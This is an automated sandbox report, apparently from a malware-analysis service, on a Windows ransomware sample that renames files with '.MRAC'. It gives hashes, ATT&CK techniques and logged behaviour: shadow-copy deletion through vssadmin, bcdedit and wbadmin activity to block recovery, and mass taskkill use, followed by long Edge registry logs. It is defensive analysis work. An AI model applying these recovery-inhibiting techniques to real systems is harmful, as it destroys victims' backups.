768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91

Resubmissions

27-12-2021 19:46

211227-yhb1vadah9 9

26-12-2021 08:08

211226-j1tahshhdk 9

Analysis

max time kernel
152s
max time network
148s
platform
windows10_x64
resource
win10-en-20211208
submitted
26-12-2021 08:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe
Size

338KB
MD5

b99ce03482978a861c883bb772be3b25
SHA1

84ecf8f8b0de2dbb3df4b99766a84143e49eaa00
SHA256

768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91
SHA512

a9261830ed6a6c93fcd6fd7c8483d917f2b4235bc9dd586eac9d10bdb6ca2872c6101ea512ecc2abc176a60afa576aa0856db25c66bc29bf81fe2a11c94875c1

Score

9^/10

evasion ransomware

Malware Config

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
ransomware evasion

Inhibit System Recovery
T1490

Processes:

bcdedit.exebcdedit.exe

pid process

3500 bcdedit.exe
1908 bcdedit.exe
Deletes System State backups 3 TTPs 2 IoCs
Uses wbadmin.exe to inhibit system recovery.
ransomware

Command-Line Interface
T1059

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

wbadmin.exewbadmin.exe

pid process

3256 wbadmin.exe
1452 wbadmin.exe

pid	process
3500	bcdedit.exe
1908	bcdedit.exe

pid	process
3256	wbadmin.exe
1452	wbadmin.exe

Modifies extensions of user files 1 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\RedoGet.png => C:\Users\Admin\Pictures\RedoGet.png.MRAC	768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe

Drops file in Windows directory 9 IoCs

Processes:

wbadmin.exeMicrosoftEdgeCP.exewbadmin.exeMicrosoftEdge.exe

description	ioc	process
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File created	C:\Windows\rescache\_merged\3720402701\1659841449.pri	MicrosoftEdgeCP.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File created	C:\Windows\rescache\_merged\3720402701\1659841449.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe

Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exevssadmin.exe

pid process

2364 vssadmin.exe
3712 vssadmin.exe

pid	process
2364	vssadmin.exe
3712	vssadmin.exe

Kills process with taskkill 45 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
1344	taskkill.exe
2436	taskkill.exe
1732	taskkill.exe
1124	taskkill.exe
4988	taskkill.exe
1568	taskkill.exe
1168	taskkill.exe
3348	taskkill.exe
1172	taskkill.exe
4280	taskkill.exe
4536	taskkill.exe
1048	taskkill.exe
820	taskkill.exe
2472	taskkill.exe
4060	taskkill.exe
1612	taskkill.exe
976	taskkill.exe
2592	taskkill.exe
4556	taskkill.exe
4976	taskkill.exe
4884	taskkill.exe
3148	taskkill.exe
3160	taskkill.exe
2800	taskkill.exe
5072	taskkill.exe
1372	taskkill.exe
2332	taskkill.exe
4092	taskkill.exe
4384	taskkill.exe
3888	taskkill.exe
3132	taskkill.exe
900	taskkill.exe
4020	taskkill.exe
3272	taskkill.exe
4744	taskkill.exe
1352	taskkill.exe
4296	taskkill.exe
4276	taskkill.exe
3616	taskkill.exe
4112	taskkill.exe
4332	taskkill.exe
1036	taskkill.exe
1308	taskkill.exe
3728	taskkill.exe
4436	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

Processes:

MicrosoftEdge.exebrowser_broker.exeMicrosoftEdgeCP.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe

Modifies registry class 64 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$Telligent	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA\Certificates\83DA05A9886F7658	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA\Certificates\83DA05A9886F7658 = 03000000010000001400000083da05a9886f7658be73acf0a4930c0f99b92f011400000001000000140000003656896549cb5b9b2f3cac4216504d91b933d79104000000010000001000000062455357dd57cb80c32ab295743cccc00f00000001000000200000006811c6215f18c75fdbe32cf56bd66248562a7fa3ba459cfee338745061e583941900000001000000100000002d581a49c8eb5b3b3c6ef9bb65314d705c000000010000000400000000100000180000000100000010000000bb048f1838395f6fc3a1f3d2b7e976542000000001000000dc060000308206d8308204c0a003020102020a613fb718000000000004300d06092a864886f70d01010b0500308188310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31323030060355040313294d6963726f736f667420526f6f7420436572746966696361746520417574686f726974792032303131301e170d3131313031383232353531395a170d3236313031383233303531395a307e310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f66742053656375726520536572766572204341203230313130820222300d06092a864886f70d01010105000382020f003082020a0282020100d00bc0a4a81981e236e5e2aae5f3b2155875beb4e549f1e084f9bb0d64ef85c18155b8f3e7f16d40553dce8b6ad18493f5757c5ba4d47410ca32f323d3aeeecf9e0458c2d947cbd17c004148711b01671718afc6fe73037ee4ef439cef01712a1f81264377985457739d552bf09e8e7d060eac1b54f326f7f82308228b9e061d3738fd72d2cae563c19a5a7db26db352a96ee9aeb5fc8b36f99efaf61c581b9756a511e5b752dbbbe9f054bfb4ff2c6cb85d26cea00ad7df93ed7fddacf12c731ad9193755badd22788ea1d49b09f807223171b094aee0b0e726445790819715ce61ec65e24bf185521632f8b578aa7ecd4dec8321a4a89bbe9a6a04e0a31ccd56186cfd6b2f423ee237f272abd07873727bdeec0058e52130a3083a99ef9fc3f77a169665b5c381aff4397049aff6a9f66a0038f9b40819e01a35a55676225f6af269ae3ead58464db854f68941441e72b1bc122753d2c1ffb2cd50981eb5f4bbb6c28239d9ac1bf23b27846ab0c6260bd73a10e7b3db7cd356ac534c0bfa3b313774d8592bf9007919067bfd1c1d42d4410d2f050ed56b4923ffcfcdf87a82cfda3c2ddfe8d8120418ba1e8877b8981f1007bbc8057e0b09bf6bdde34e5bb0f9c784a63bca4c9f5b6229f7c7a2a89588702ce5c13f3c52234f409ac33185832fbf29f11d508f219607ceeff280c2447d9b62ef2fc37789ab454d533e0279d30203010001a382014b30820147301006092b06010401823715010403020100301d0603551d0e041604143656896549cb5b9b2f3cac4216504d91b933d791301906092b0601040182371402040c1e0a00530075006200430041300b0603551d0f040403020186300f0603551d130101ff040530030101ff301f0603551d23041830168014722d3a02319043b914054ee1eaa7c731d1238934305a0603551d1f04533051304fa04da04b8649687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963526f6f436572417574323031315f323031315f30335f32322e63726c305e06082b0601050507010104523050304e06082b060105050730028642687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b692f63657274732f4d6963526f6f436572417574323031315f323031315f30335f32322e637274300d06092a864886f70d01010b0500038202010041c861c1f55b9e3e9131f1b0c6bf0901b49db69074d709dba62e0d9fc8e7763446af0760894c81b33cd5f4123575c273a5f54d848ccba45dafbf92f617085742957265057679adeed1bab82e54a35107ac68eb210ce32581c2cd2af2c3ffcfc2bd49189ac7f084c5f914bc6b95e596efb342d253d54aa012c4ae12765309560e9df7d3a6498850f28a2c9720a2be4e78ef0565b74ba11688de31c70842247ca47b9e9dbc60005e6297e393fca7fe5b7b25dfe4537f4bbee63ef0db0179421c6e856c7db64430fba5379293b2a5ee20ad3f53d5c9f4286b57c1f81d6ab7562ab627811ca62d9fe7f4d0318397a82ab6acbe1b41f5e4895f56fbda5ad35e7d5594107e5357f44a3d402ac8bd679f84e110eefdda6b158249fc461dff4506749c4214edc539d3b3cd0b832790435192f24482ae6e9a1517b219fac7456c98017bbf37a9b088a492bc3838e01de47c97981a2e5fef3865b7352fbd7f4f21fac48cd26f06f94935eadf200f25aaea60ab2c1f4b89fcb7fa5c54904b3ea2284f6ce45265c1fd901c8582886ee9a655dd21287945b014e50acce65fc4bbdb6134699fac2638f7c1294108152e4ca0f7f90c3ede5fab08092d83acac348362f4c949428925b56eb247c5b339a0b1201b2cb18e046fa530491cd046e9405bf4ad6ebadb824a87124a80094ddbdf76b9055b1be0bb20705f0025c7d30efa16ad7b229e7108	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\SmartScreenCompletedVersi = "1"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url3 = "https://signin.ebay.com/ws/ebayisapi.dll"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionHigh = "0"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 01000000675ab6758feb3b1e0194ae527886bc235feb103cb308898cacccf0dab82cb9cb8e0811531481e6a693f3fec8653a395079b423acd8b0ec1da21ea41d37d9	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Toolbar\WebBrowser	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 8b1f29dcbdedd701	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\FileNames	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA\CRLs	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url4 = "https://login.live.com/"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\SharedCookie_MRACMigrationDone = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Disallowed\Certificates	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI\IsSignedIn = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 01000000a7bfdf49cfbb64d0dd224584b8d8c53a9ff48d67f0ec465cec1f1889b232202db4f5749f60b93c55f24a715ac50291b570977587bea424b8e2179afe69ebc101c0ecbc0eb8737d92683ba6030ed1d38ec64a9193332a65898ca85771ced832975d451da6230b616bd09414ab106511c793aff0000a9ca50aa572ca6dd41a2390479e3b98ee9f57e8f9f699a0d8dd5ace3b659bc9121b4572e41516de7bd21e8b6e98ed04385128d71a028324965be125d00ba3815fc77cb94631abb2201e2122a0d314d5d33f833bfe56c8b90efeb255ca43227a64c0c736706655149d1f09528eefeaa4c48b4390739467c275e6263172ace4f02a26b4044554b32ef4f53023e78cc2bd0e5482d7995aff9d8c32486babe590540819353c029b68864bc1f1a4214bf821ffb91a78664af8c4a304207bee90939949b9b9fa74db03dce7a1293a08caa5a423dc78f61a0288b8e97b4cd1484cbb9716260c3d8fb3b7a8bfb6213979aa4419e9db2e699c23c7802bb75c5ab6b85d802f80768797c56f1e66217cd4f48b36875bd8ccd55a4e85b865d8f7547976ed5e5ce7475aaefed7832957233ef663445e8595	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 010000006fb5ef5877fad5c179078e80a04c954ee738a1a21b40089674c6622f605f140297106c81fc880f62c77b559503e1253ff2a90fc066eb01836e7f	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = bca03f4542ecd701	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\Next Rating Prompt = 6052f8b26d0fd801	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\InternetRegistry	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\ACGPolicyState = "6"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\DisallowDefaultBrowserPrompt = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "0"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url5 = "https://twitter.com/"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VendorId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\MrtCache	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BingPageData\RulesFileNextUpdateDate = "345299836"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath\dummySetting = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CacheLimit = "1"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BingPageData	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CacheLimit = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2361464256-2201551969-2316606395-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory	MicrosoftEdge.exe
